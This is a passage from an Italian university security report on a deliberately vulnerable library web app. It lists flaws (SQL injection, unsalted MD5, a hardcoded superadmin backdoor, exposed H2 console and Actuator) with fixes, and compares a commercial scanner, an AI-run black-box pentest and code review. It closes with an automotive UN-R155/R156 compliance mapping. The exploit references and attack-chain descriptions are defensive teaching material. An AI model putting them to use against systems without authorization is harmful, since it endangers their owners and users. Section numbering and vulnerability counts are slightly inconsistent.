Il metodo searchByTitle() costruisce la query come: "SELECT * FROM books WHERE title = '" + title + "'". La stringa utente viene interpretata come codice SQL. Correzione: PreparedStatement con placeholder ? che separa codice da dati.

V-05: UserService.java - MD5 senza salt

Il saveUser() usa DigestUtils.md5DigestAsHex(password.getBytes()). MD5 e deterministico e veloce: stesso input, stesso output, e Rainbow Tables funzionano immediatamente. Correzione: BCryptPasswordEncoder incorpora automaticamente un salt casuale per ogni hash.

> **V-06: AuthController.java - backdoor nel codice di produzione**

Prima di qualsiasi query al database, il metodo login() contiene: if ("superadmin".equals(username) && "password".equals(password)) { return token ADMIN }. Invisibile a qualsiasi scanner esterno, identificata solo dalla revisione del codice.

7.3 Piano di remediation prioritizzato

Priorita	File da modificare	Correzione specifica	Impatto
CRITICA	SecurityConfig.java	hasRole("ADMIN") su /api/admin/**	Blocca accessi non autorizzati
CRITICA	BookService.java	Prepared statements con ?	Elimina SQL Injection
CRITICA	application.properties	h2.console.enabled=false in prod	Rimuove shell SQL
ALTA	application.properties	Actuator: expose solo health, info	Nasconde heapdump e env
ALTA	UserService.java	BCryptPasswordEncoder	Rende crack impraticabile
ALTA	AuthController.java	Rimuovere blocco superadmin	Elimina backdoor
ALTA	LoanController.java	Check userId==token.userId	Blocca IDOR
MEDIA	TokenStore.java	JWT con exp: 15min	Limita finestra di attacco
MEDIA	application.properties	include-stacktrace=never	Nasconde struttura interna

8 Confronto tra le tre metodologie

Il progetto ha offerto un'opportunita rara: applicare tre metodologie di analisi della sicurezza diverse sullo stesso target, nelle stesse condizioni. I risultati concreti permettono un confronto diretto, non teorico.

8.1 Rilevamento per vulnerabilita

Vulnerabilita	Keysight SA8710A	Black-Box (Claude)	White-Box (codice)
SQL Injection /api/books/search	NON TROVATA	TROVATA + exploitata	TROVATA + causa radice
Broken Access Control /api/admin	NON TROVATA	TROVATA (GET, DELETE)	TROVATA + config errata
RCE via H2 Console	NON TROVATA	TROVATA (whoami)	TROVATA + riga .properties
Actuator (heapdump, env)	NON TROVATA	TROVATA + dati estratti	TROVATA + wildcard .properties
IDOR /api/loans/user/{id}	NON TROVATA	TROVATA + dimostrata	TROVATA + metodo senza check
MD5 senza salt	NON TROVATA	TROVATA (crack < 1s)	TROVATA + riga UserService
Backdoor superadmin	NON TROVATA	NON TROVATA	TROVATA (invisibile black-box)
Token senza scadenza	NON TROVATA	TROVATA (valido dopo giorni)	TROVATA + Map senza TTL
Stack trace esposto	NON TROVATA	TROVATA (errore 500)	TROVATA + parametro .properties
DAV methods abilitati	TROVATA (Low)	Confermata	Non cercata
Server header assente	TROVATA (Low)	Confermata	Non cercata
Tasso rilevamento critiche	0 / 6 (0%)	5 / 6 (83%)	6 / 6 (100%)

8.2 Analisi qualitativa

Keysight SA8710A: eccellente nel suo dominio, cieco su API REST

Lo strumento eccelle sul suo target di progettazione: firmware embedded, protocolli veicolari (CAN, BLE, UDS), hardware con interfacce JTAG/UART. Il fallimento su OWASP-Biblioteca non e un difetto dello strumento, ma un errore di abbinamento: usare un analizzatore di firmware su un'API REST e come usare una TAC per diagnosticare un dente. Lo strumento e eccellente, ma serve il panoramica dentale per i denti.

Black-Box manuale: ragionamento contestuale dove lo scanner e cieco

Il punto di forza e la capacita di ragionare sulla logica applicativa. Partire da /actuator/mappings, usare ogni risposta per guidare il test successivo, costruire catene di attacco realistiche: questi sono comportamenti che richiedono comprensione del contesto, non esecuzione di playbook fissi. Il limite e simmetrico: la backdoor hardcodata in AuthController.java non produce alcun comportamento esterno anomalo che possa suggerirne la presenza.

White-Box: visione completa ma con accesso al codice

La white-box e la piu completa: ha trovato tutte e nove le vulnerabilita, incluse quelle invisibili dall'esterno, e ha identificato la causa radice di ciascuna con la precisione della riga di codice. Il limite e la precondizione: richiede accesso al sorgente, disponibile solo per i propri sistemi o in contesti di audit con contratto.

8.3 Guida alla scelta della metodologia

Contesto operativo	Metodologia raccomandata	Motivazione
Test su sistema di terze parti	Black-Box manuale + scanner mirati	Unica opzione; scanner copre superficie nota, manuale approfondisce la logica
Audit pre-release del proprio codice	White-Box + Black-Box	White-box trova cause radice; black-box verifica sfruttabilita reale
Certificazione UNECE R155	TARA + White-Box + Keysight (su HW/protocolli)	La norma richiede sia analisi rischi che verifica tecnica certificata
Penetration test periodico post-rilascio	Black-Box manuale ragionato	Simula l'attaccante esterno; evidenzia i rischi correnti e le catene
Monitoraggio continuo (UN-R156)	Agentic AI + scanner automatici	Copertura 24/7 con ragionamento contestuale e audit trail normativo automatico

9 Conformita normativa: UN-R155 e UN-R156

Le vulnerabilita identificate nel progetto sono direttamente mappabili ai requisiti delle normative internazionali di cybersecurity automotive. Questo capitolo propone un'analisi di conformita che traduce le lacune tecniche in gap normativi concreti.

9.1 Mapping vulnerabilita - UN-R155 Annex 5

Vulnerabilita trovata	OWASP	Minaccia Annex 5 UN-R155	Contromisura richiesta
SQL Injection /api/books/search	A03	T.2 - Manipulation of backend vehicle data	Prepared statements, WAF, input validation
Broken Access Control /api/admin	A01	T.1 - Unauthorized access to privileged functions	RBAC, JWT con scadenza, audit log
RCE via H2 Console (whoami)	A05	T.6 - Unintended vehicle behaviour via RCE	Disabilitare console, network isolation
Actuator esposto (env, heapdump)	A05	T.4 - Information disclosure critica	Restrict endpoints, mTLS
IDOR sui prestiti	A01	T.1 - Horizontal privilege escalation	Object-level authorization check
MD5 senza salt	A02	T.3 - Cryptographic failures	bcrypt/Argon2, password policy, MFA

9.2 Gap Analysis: stato attuale vs requisiti

Requisito UN-R155/156	Stato	Gap	Azione necessaria
TARA (Threat Analysis, Annex 5)	Assente	Nessuna analisi formale delle minacce documentata	TARA secondo ISO/SAE 21434 Clausola 15
Secure Coding (Annex 5)	Non conforme	SQLi, MD5, RBAC assente nel codice sorgente	Refactoring + SAST automatizzato in CI/CD
Penetration Testing periodico	Parziale	Scanner ha mancato 6/6 vulnerabilita critiche (0%)	Pentest manuale certificato almeno annuale
Incident Response (CSIRT)	Assente	Nessun CSIRT ne playbook di risposta definiti	Definire CSIRT + procedure di disclosure
OTA / SUMS (UN-R156)	Assente	Nessun meccanismo di aggiornamento firmato	OTA con firma crittografica + rollback

9.3 Il ruolo dell'Agentic AI (UN-R156)

La UN-R156 impone un monitoraggio continuo dell'integrita del software per tutta la vita del veicolo. Il caso Keysight ha dimostrato empiricamente che gli scanner automatici tradizionali non sono sufficienti: 0/6 su vulnerabilita critiche non e un risultato accettabile per un sistema che deve essere certificato.

Un agente AI ragiona sul contesto **invece di eseguire playbook fissi**: ha scoperto gli endpoint da /actuator/mappings, ha costruito la catena di attacco combinando le informazioni di piu vulnerabilita, ha prodotto un audit trail strutturato e mappato alla normativa in modo automatico. Questo approccio offre tre vantaggi diretti per UN-R156:

Dimensione UN-R156	Approccio tradizionale	Agentic AI
Monitoraggio continuo	Scanner eseguiti a intervalli (Keysight: 0/6 critiche)	Analisi 24/7 con ragionamento contestuale e copertura completa
Verifica integrita OTA	Verifica manuale della firma, soggetta a omissioni	Validazione crittografica automatica + test regressione post-update
Audit trail normativo	Report manuali incompleti o non standardizzati	Log immutabile con mapping automatico vulnerabilita -> requisito normativo

11 Conclusioni

Il percorso compiuto in questo progetto ha attraversato quattro livelli di analisi complementari: la valutazione critica di uno strumento commerciale di alto profilo, il penetration testing black-box condotto da Claude, la revisione white-box del codice sorgente, e la contestualizzazione normativa nel quadro UN-R155/R156. Ogni livello ha aggiunto una dimensione diversa alla comprensione della sicurezza applicativa.

10.1 Il limite degli strumenti automatici

Il confronto piu istruttivo e quello tra Keysight SA8710A e l'analisi manuale: uno strumento da 500.000 euro ha trovato zero delle sei vulnerabilita critiche presenti, mentre l'analisi ragionata le ha trovate tutte. Questo non misura la qualita del prodotto in assoluto - nel suo dominio (firmware automotive, protocolli veicolari) il SA8710A e eccellente. Misura qualcosa di diverso: l'impossibilita di sostituire il ragionamento contestuale con l'automazione cieca, specialmente su architetture REST moderne che non espongono nulla dalla root.

10.2 Il valore dell'approccio stratificato

Il progetto ha dimostrato che le tre metodologie non sono alternative ma complementari: lo scanner copre la superficie nota in modo sistematico, il black-box esplora la logica applicativa e costruisce catene di attacco realistiche, il white-box identifica le cause radice nel codice con precisione chirurgica. Nessuna delle tre da sola e sufficiente. La combinazione corretta dipende dal contesto, dalla disponibilita del sorgente e dagli obiettivi normativi.

10.3 La sicurezza come progettazione, non come correzione

Le vulnerabilita trovate in OWASP-Biblioteca - anyRequest().permitAll(), MD5 per le password, console di debug attive, backdoor hardcodata - non sono errori accidentali nel codice. Sono il risultato di scelte architetturali che ignorano la sicurezza in fase di progettazione. Nel mondo reale, gli stessi pattern emergono quando la sicurezza e trattata come un problema da risolvere a posteriori anziche come un requisito da incorporare fin dalla prima riga. Le normative UN-R155 e UN-R156 formalizzano esattamente questo principio: TARA prima di scrivere il codice, monitoraggio continuo durante la vita del prodotto.

*** Nota finale**

Tutte le tecniche descritte in questo documento sono state applicate esclusivamente su un'applicazione didattica, in un ambiente isolato, con il consenso esplicito dei docenti. L'applicazione delle stesse tecniche su sistemi reali senza autorizzazione costituisce un reato ai sensi della Direttiva NIS2 e delle normative nazionali di tutti i paesi dell'Unione Europea.